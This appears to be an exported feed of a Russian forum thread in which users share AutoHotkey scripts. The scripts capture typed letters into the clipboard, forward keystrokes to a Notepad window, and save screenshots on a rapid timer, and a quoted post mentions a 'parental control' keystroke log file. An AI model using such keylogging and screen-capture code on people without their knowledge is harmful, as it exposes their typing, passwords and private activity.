   SetTimer, chikchik, 10   ; ОБЯЗАТЕЛЬНЫЙ ИНТЕРВАЛ (стоит минимальный)
   Return


chikchik:
   SetTimer, chikchik, Off
   Critical
   OutFolderName := &quot;slogs_&quot; A_Year  A_MM  A_DD
   OutFileName := A_Year  A_MM  A_DD &quot;-&quot; A_Hour A_Min A_Sec (HighSpeed ? &quot;-&quot; A_MSec : &quot;&quot;)
   IfNotExist, %OutDirectory%\%OutFolderName%
      FileCreateDir, %OutDirectory%\%OutFolderName%
   if Output = File
      CaptureScreen(0, OutDirectory &quot;\&quot; OutFolderName &quot;\&quot; OutFileName &quot;.&quot; ext, Quality, CaptureCursor)
   Else
      CaptureScreen(0, 0, Quality, CaptureCursor)
   Return



+PrintScreen::    ; Shift + PrintScreen — Скриншот активного окна
   Critical
   OutFileName := A_Year  A_MM  A_DD &quot;-&quot; A_Hour A_Min A_Sec (HighSpeed ? &quot;-&quot; A_MSec : &quot;&quot;)
   WinGetPos, X, Y, W, H, A
   Rect := X &quot;|&quot; Y &quot;|&quot; W &quot;|&quot; H
   if Output = File
      CaptureScreen(Rect, OutDirectory &quot;\&quot; OutFileName &quot;.&quot; ext, Quality, CaptureCursor)
   Else
      CaptureScreen(Rect, 0, Quality, CaptureCursor)
   Return</code></pre></div>]]></content>
			<author>
				<name><![CDATA[DD]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=25263</uri>
			</author>
			<updated>2011-09-22T20:10:05Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=51754#p51754</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=50969#p50969" />
			<content type="html"><![CDATA[<p><span class="postimg"><img src="http://i075.radikal.ru/1108/c2/5bba25961086.jpg" alt="http://i075.radikal.ru/1108/c2/5bba25961086.jpg" /></span></p><div class="codebox"><pre><code>SetBatchLines, -1
App = Notepad ; в данном случае &quot;под опытное окно&quot; - блокнот
CheckLocale()
vk31:: ; 1 - эти клавиши игнорируются
vk32:: ; 2
vk33:: ; 3
vk34:: ; 4
vk35:: ; 5
vk36:: ; 6
vk37:: ; 7
vk38:: ; 8
vk39:: ; 9
vk30:: ; 0
vkBD:: ; -
vkBB:: ; =
vkC0:: ; tilde
vk9::  ; tab
vkBC:: ; ,
vkBF:: ; /
vkBA:: ; ;
vkDE:: ; &#039;&#039;
vkDC:: ; \
vkDB:: ; [
vkDD:: ; ]
Enter:: ; т.е. игнорируются все клавиши которые могут что-то ввести, не считая цифровой панели
Return

~BS:: ; backspace
   CheckLocale()
   If InputLocaleID = 0x4190419
      PostMessage, 0x50,, 0x4090409,, A
   ControlSend,, {BS}, % &quot;ahk_class&quot; App
   Return

~vkBE:: ; .
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {.}
   }
   ControlSend,, ., % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~*vk34:: ; $
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {$}
   }
   ControlSend,, $, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk41:: ; a
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {a}
   }
   ControlSend,, a, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk42:: ; b
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {b}
   }
   ControlSend,, b, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk43:: ; c
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {c}
   }
   ControlSend,, c, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk44:: ; d
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {d}
   }
   ControlSend,, d, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk45:: ; e
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {e}
   }
   ControlSend,, e, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk46:: ; f
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {f}
   }
   ControlSend,, f, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk47:: ; g
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {g}
   }
   ControlSend,, g, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk48:: ; h
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {h}
   }
   ControlSend,, h, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk49:: ; i
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {i}
   }
   ControlSend,, i, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk4a:: ; j
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {j}
   }
   ControlSend,, j, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk4b:: ; k
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {k}
   }
   ControlSend,, k, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk4c:: ; l
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {l}
   }
   ControlSend,, l, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk4d:: ; m
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {m}
   }
   ControlSend,, m, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk4e:: ; n
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {n}
   }
   ControlSend,, n, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk4f:: ; o
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {o}
   }
   ControlSend,, o, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk50:: ; p
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {p}
   }
   ControlSend,, p, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk51:: ; q
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {q}
   }
   ControlSend,, q, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk52:: ; r
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {r}
   }
   ControlSend,, r, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk53:: ; s
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {s}
   }
   ControlSend,, s, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk54:: ; t
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {t}
   }
   ControlSend,, t, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk55:: ; u
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {u}
   }
   ControlSend,, u, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk56:: ; v
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {v}
   }
   ControlSend,, v, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk57:: ; w
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {w}
   }
   ControlSend,, w, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk58:: ; x
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {x}
   }
   ControlSend,, x, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk59:: ; y
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {y}
   }
   ControlSend,, y, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

~vk5a:: ; z
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {z}
   }
   ControlSend,, z, % &quot;ahk_class&quot; App
   ControlSend,, {Enter}, % &quot;ahk_class&quot; App
   Return

CheckLocale()
{
   Global InputLocaleID
   WinGet, WinID,, A
   ThreadID := DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
   InputLocaleID := DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
}

Esc::ExitApp</code></pre></div>]]></content>
			<author>
				<name><![CDATA[Grey]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=25792</uri>
			</author>
			<updated>2011-08-30T22:01:51Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=50969#p50969</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=50949#p50949" />
			<content type="html"><![CDATA[<div class="quotebox"><blockquote><p>Всё вводимое сохраняется в буфере обмена, ввод <em>характеров</em> только <em>латиницей</em>, добавил <em>энтер</em> и пробел (без них печатать не удобно), бэкспэйс работает как есть + стирает из буфера (двойное нажатие очищает буфер обмена). Отставлены функции действий комбинаций клавиш выделения/копирования/вставки, шаг вперёд/назад по истории. При желании можно добавить свои <em>характеры</em> по аналогии.</p><p>OFF: Если возникнут вопрос/ы и я не отвечу, значит я всё ещё на рыбалке. <img src="//forum.script-coding.com/img/smilies/smile.png" width="15" height="15" /></p></blockquote></div><p>спасибо за ответ. почти то что мне нужно. синтаксис, к сожалению, для меня совсем непонятный <img src="//forum.script-coding.com/img/smilies/sad.png" width="15" height="15" /></p><p>мне нужно именно посылать символы в окно, а не вставлять туда текст. всего символов от одного до шести. после ввода обязательно нажимается ENTER.</p>]]></content>
			<author>
				<name><![CDATA[jjdj]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=27163</uri>
			</author>
			<updated>2011-08-29T21:35:05Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=50949#p50949</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=50929#p50929" />
			<content type="html"><![CDATA[<div class="codebox"><pre><code>#NoEnv
SetBatchLines, -1
Clipboard :=
CheckLocale()
Return

~vk8:: ; backspace
   ClipboardContent := Clipboard
   ClipboardContent := SubStr(ClipboardContent, 1, -1)
   Clipboard := ClipboardContent
;   KeyWait, vk8 ; блок автоповтора
   bsi++
   SetTimer, counterbs, -300 ; чувствительность двойного нажатия
   Return
counterbs:
   If bsi &gt;= 2
      SetTimer, action1bs, -0
   bsi :=
   Return
action1bs:
   Clipboard :=
   Return

~*vk20:: ; space
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn)
      Send, {BS}
   Else
      Clipboard .= &quot; &quot;
   Return

~*Enter::
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn)
      Send, {BS}
   Else
      Clipboard .= &quot;`n&quot;
   Return

~*vkBE:: ; .
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn)
      Send, {BS}
   Else
      Clipboard .= &quot;.&quot;
   Return

MsgBox, % Clipboard

~*vk34:: ; $
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And !ShiftOn)
      Send, {BS}
   Else
      Clipboard .= &quot;$&quot;
   Return

~*vk41:: ; a
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;A&quot;
   Else
      Clipboard .= &quot;a&quot;
   Return

~*vk42:: ; b
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;B&quot;
   Else
      Clipboard .= &quot;b&quot;
   Return

~*vk43:: ; c
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;C&quot;
   Else
      Clipboard .= &quot;c&quot;
   Return

~*vk44:: ; d
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;D&quot;
   Else
      Clipboard .= &quot;d&quot;
   Return

~*vk45:: ; e
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;E&quot;
   Else
      Clipboard .= &quot;e&quot;
   Return

~*vk46:: ; f
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;F&quot;
   Else
      Clipboard .= &quot;f&quot;
   Return

~*vk47:: ; g
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;G&quot;
   Else
      Clipboard .= &quot;g&quot;
   Return

~*vk48:: ; h
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;H&quot;
   Else
      Clipboard .= &quot;h&quot;
   Return

~*vk49:: ; i
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;I&quot;
   Else
      Clipboard .= &quot;i&quot;
   Return

~*vk4a:: ; j
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;J&quot;
   Else
      Clipboard .= &quot;j&quot;
   Return

~*vk4b:: ; k
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;K&quot;
   Else
      Clipboard .= &quot;k&quot;
   Return

~*vk4c:: ; l
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;L&quot;
   Else
      Clipboard .= &quot;l&quot;
   Return

~*vk4d:: ; m
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;M&quot;
   Else
      Clipboard .= &quot;m&quot;
   Return

~*vk4e:: ; n
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;N&quot;
   Else
      Clipboard .= &quot;n&quot;
   Return

~*vk4f:: ; o
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;O&quot;
   Else
      Clipboard .= &quot;o&quot;
   Return

~*vk50:: ; p
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;P&quot;
   Else
      FileAppend, p, % LogPath
   Return

~*vk51:: ; q
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;Q&quot;
   Else
      Clipboard .= &quot;q&quot;
   Return

~*vk52:: ; r
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;R&quot;
   Else
      Clipboard .= &quot;r&quot;
   Return

~*vk53:: ; s
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;S&quot;
   Else
      Clipboard .= &quot;s&quot;
   Return

~*vk54:: ; t
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;T&quot;
   Else
      Clipboard .= &quot;t&quot;
   Return

~*vk55:: ; u
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;U&quot;
   Else
      Clipboard .= &quot;u&quot;
   Return

~*vk56:: ; v
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;V&quot;
   Else
      Clipboard .= &quot;v&quot;
   Return

~*vk57:: ; w
CheckLocale()
   If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;W&quot;
   Else
      Clipboard .= &quot;w&quot;
   Return

~*vk58:: ; x
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;X&quot;
   Else
      Clipboard .= &quot;x&quot;
   Return

~*vk59:: ; y
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;Y&quot;
   Else
      Clipboard .= &quot;y&quot;
   Return

~*vk5a:: ; z
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID &amp; 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID &amp; 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= &quot;Z&quot;
   Else
      Clipboard .= &quot;z&quot;
   Return

CheckLocale()
{
   Global
   WinGet, WinID,, A
   CtrlOn := GetKeyState(&quot;Ctrl&quot;, &quot;P&quot;)
   ShiftOn := GetKeyState(&quot;Shift&quot;, &quot;P&quot;)
   CapsState := GetKeyState(&quot;Capslock&quot;, &quot;T&quot;)
   ThreadID := DllCall(&quot;GetWindowThreadProcessId&quot;, UInt, WinID, UInt, 0)
   InputLocaleID := DllCall(&quot;GetKeyboardLayout&quot;, UInt, ThreadID, UInt)
}

Esc::ExitApp</code></pre></div><p>Всё вводимое сохраняется в буфере обмена, ввод <em>характеров</em> только <em>латиницей</em>, добавил <em>энтер</em> и пробел (без них печатать не удобно), бэкспэйс работает как есть + стирает из буфера (двойное нажатие очищает буфер обмена). Отставлены функции действий комбинаций клавиш выделения/копирования/вставки, шаг вперёд/назад по истории. При желании можно добавить свои <em>характеры</em> по аналогии.</p><p>OFF: Если возникнут вопрос/ы и я не отвечу, значит я всё ещё на рыбалке. <img src="//forum.script-coding.com/img/smilies/smile.png" width="15" height="15" /></p>]]></content>
			<author>
				<name><![CDATA[Grey]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=25792</uri>
			</author>
			<updated>2011-08-29T01:39:08Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=50929#p50929</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=50918#p50918" />
			<content type="html"><![CDATA[<p>Пытался отредактировать скрипт под свои нужды, но не осилил.<br />Может быть поможете, если есть минутка:</p><p>Если в активное окно вбивается последовательность из английских букв и некоторых симолов ( только abcdefghijklmnopqrstuvwxyz.$ ) + ENTER, то такую же последовательность нужно отправить в другое активное окно. <br />Нужно еще както учесть:<br />Последовательность прерывается, если нажата любая другая кнопка, кроме Backspace. Backspace соответственно удаляет из последовательности последний символ.</p><p>Заранее спасибо!</p>]]></content>
			<author>
				<name><![CDATA[jjdj]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=27163</uri>
			</author>
			<updated>2011-08-28T00:17:18Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=50918#p50918</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=50605#p50605" />
			<content type="html"><![CDATA[<p><strong>ilya20069</strong>, ещё раз:</p><p>* то, что Вы выше где-то правите код — никто этого может не увидеть;<br />* теряет смысл последующее за кодом обсуждение — ибо неясен становится предмет обсуждения.</p><p>Выводы из этого делайте сами.</p>]]></content>
			<author>
				<name><![CDATA[alexii]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=1844</uri>
			</author>
			<updated>2011-08-13T13:52:43Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=50605#p50605</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=50603#p50603" />
			<content type="html"><![CDATA[<p>Взгляните в скрипт еще раз, там все можно настроить (теперь) в первых 7 строках.</p><p><span style="color: green">to alexii</span><br />Были исправлены лишь ошибки в коде(они, я думаю, сравнимы с грамматическими), никаких нововведений не было.</p>]]></content>
			<author>
				<name><![CDATA[ilya20069]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26683</uri>
			</author>
			<updated>2011-08-13T13:06:19Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=50603#p50603</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=50601#p50601" />
			<content type="html"><![CDATA[<div class="quotebox"><cite>ilya20069 пишет:</cite><blockquote><p>Хм.. BackSpace пишет как #Bc (самый первый хоткей)</p></blockquote></div><p>Извини не заметил. А большие видимо пишет как &quot;шифт&quot; #Sh?</p>]]></content>
			<author>
				<name><![CDATA[DaVinchi]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26386</uri>
			</author>
			<updated>2011-08-13T12:39:49Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=50601#p50601</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=50597#p50597" />
			<content type="html"><![CDATA[<div class="quotebox"><cite>ilya20069 пишет:</cite><blockquote><p>…я буду исправленные версии в том посте исправлять.</p></blockquote></div><p><span style="color: Green"><strong>ilya20069</strong>, не делайте этого <strong>ни в коем случае</strong>. Выкладывайте новые версии новым постом, ибо: <a href="http://forum.script-coding.com/rules.html#7.4.">§7.4</a>.</span> Да и желающие увидеть отличие (что нового/поменялось/было исправлено) смогут сделать это простым сравнением старого кода и нового. Не лишайте их такой возможности.</p>]]></content>
			<author>
				<name><![CDATA[alexii]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=1844</uri>
			</author>
			<updated>2011-08-13T11:20:16Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=50597#p50597</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=50595#p50595" />
			<content type="html"><![CDATA[<p>Хм.. BackSpace пишет как #Bc (самый первый хоткей)<br />большие | маленькие да, пока все сыро, ну сама идея-то.... скрипт нужно еще допилить, я буду исправленные версии в том посте исправлять.<br />Символы и идея взяты из <a href="http://forum.script-coding.com/viewtopic.php?id=1092">этой</a> темы,последние два символа не смог определить, возможно YMP подскажет.</p>]]></content>
			<author>
				<name><![CDATA[ilya20069]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26683</uri>
			</author>
			<updated>2011-08-13T10:25:10Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=50595#p50595</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: сохранение активности клавиатуры в определенном окне]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=50591#p50591" />
			<content type="html"><![CDATA[<div class="quotebox"><cite>ilya20069 пишет:</cite><blockquote><p>Ну чтож в рамках &quot;парент контроля&quot; выложу скрипт, если кто может потестируйте на быстродействие (желательно попечатать текст с ним 400-500 зн/м)<br />Сохраняет лог в D:\Test.txt<br />Понимает два языка русский и не русский(английский)<br />Блин, понял свою ошибку, я адресс лога задал напрямую....</p></blockquote></div><p>Вобщем то скрипт работает хорошо, но есть недочеты.<br />1. Плохо что он не запоминает в какой программе он делает запись. Или было бы лучше, если бы он работал только в определенной программе.<br />2. Плохо разбирать, большие или маленькие буквы.<br />3. Не пишет &quot;BackSpace&quot;.</p>]]></content>
			<author>
